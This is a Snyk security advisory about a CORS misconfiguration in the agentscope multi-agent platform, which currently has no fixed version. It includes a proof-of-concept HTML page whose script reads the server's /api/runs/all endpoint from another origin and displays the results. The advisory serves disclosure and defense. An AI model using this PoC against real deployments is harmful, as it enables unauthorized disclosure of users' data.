Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsThere is no fixed version for agentscope
.
agentscope is an AgentScope: A Flexible yet Robust Multi-Agent Platform.
Affected versions of this package are vulnerable to Origin Validation Error due to the CORS configuration on the server. An attacker can access unauthorized data and disclose information by sending requests from untrusted origins.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CORS PoC</title>
<script>
function makeCorsRequest() {
fetch('http://127.0.0.1:5000/api/runs/all', {
method: 'GET',
headers: {
'Content-Type': 'application/json',
},
})
.then(response => response.json())
.then(data => {
console.log('Response Data:', data);
document.getElementById('response').innerText = JSON.stringify(data, null, 2);
})
.catch(error => {
console.error('Error:', error);
});
}
</script>
</head>
<body>
<h1>CORS PoC</h1>
<button onclick="makeCorsRequest()">Make CORS Request</button>
<pre id="response"></pre>
</body>
</html>